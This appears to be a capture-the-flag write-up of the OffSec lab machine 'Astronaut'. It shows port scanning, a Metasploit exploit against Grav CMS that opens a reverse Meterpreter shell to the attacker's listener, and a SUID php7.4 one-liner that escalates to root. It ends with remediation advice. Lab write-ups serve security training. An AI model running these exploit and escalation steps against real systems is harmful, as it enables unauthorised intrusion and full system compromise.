offsec astronaut writeup

Machine Info

• Name: Astronaut
• Description: One small step for man, one giant leap for …..
• Difficulty: Easy

Initial Access

Nmap:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Upon viewing the grav-admin page, I can see that it is some sort of cms. I try to enumerate the version but I get a 403:

From there I will spray a couple of unauth exploits, because this should be an easy box…

msf6 exploit(linux/http/gravcms_exec) > run

[*] Started reverse TCP handler on 192.168.45.222:4444 
[!] AutoCheck is disabled, proceeding with exploitation
[*] Sending request to the admin path to generate cookie and token
[+] Cookie and CSRF token successfully extracted !
[*] Implanting payload via scheduler feature
[+] Scheduler successfully created ! Wait up to 93 seconds
[*] Sending stage (39927 bytes) to 192.168.238.12
[*] Cleaning up the scheduler...
[+] The scheduler config successfully cleaned up!
[*] Meterpreter session 1 opened (192.168.45.222:4444 -> 192.168.238.12:34512) at 2024-01-25 15:05:02 -0500

meterpreter > shell
Process 2562 created.
Channel 0 created.
whoami
www-data

Shell, even though it was a bit iffy so I sent it out to a different shell!

Privilege Escalation

www-data@gravity:~/html/grav-admin/user/accounts$ find / -perm -u=s -type f 2>/dev/null
/snap/core20/1852/usr/bin/chfn
/snap/core20/1852/usr/bin/chsh
/snap/core20/1852/usr/bin/gpasswd
/snap/core20/1852/usr/bin/mount
/snap/core20/1852/usr/bin/newgrp
/snap/core20/1852/usr/bin/passwd
/snap/core20/1852/usr/bin/su
/snap/core20/1852/usr/bin/sudo
/snap/core20/1852/usr/bin/umount
/snap/core20/1852/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1852/usr/lib/openssh/ssh-keysign
/snap/core20/1611/usr/bin/chfn
/snap/core20/1611/usr/bin/chsh
/snap/core20/1611/usr/bin/gpasswd
/snap/core20/1611/usr/bin/mount
/snap/core20/1611/usr/bin/newgrp
/snap/core20/1611/usr/bin/passwd
/snap/core20/1611/usr/bin/su
/snap/core20/1611/usr/bin/sudo
/snap/core20/1611/usr/bin/umount
/snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1611/usr/lib/openssh/ssh-keysign
/snap/snapd/18596/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/at
/usr/bin/su
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/php7.4
/usr/bin/gpasswd

Checking the suid binaries I see php7.4 is one of them. This should be an easy root!

www-data@gravity:~/html/grav-admin/user/accounts$ php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
root

Beyond Root

Update the cms instance to patch vuln, get rid of the suid for root!

best, gerbsec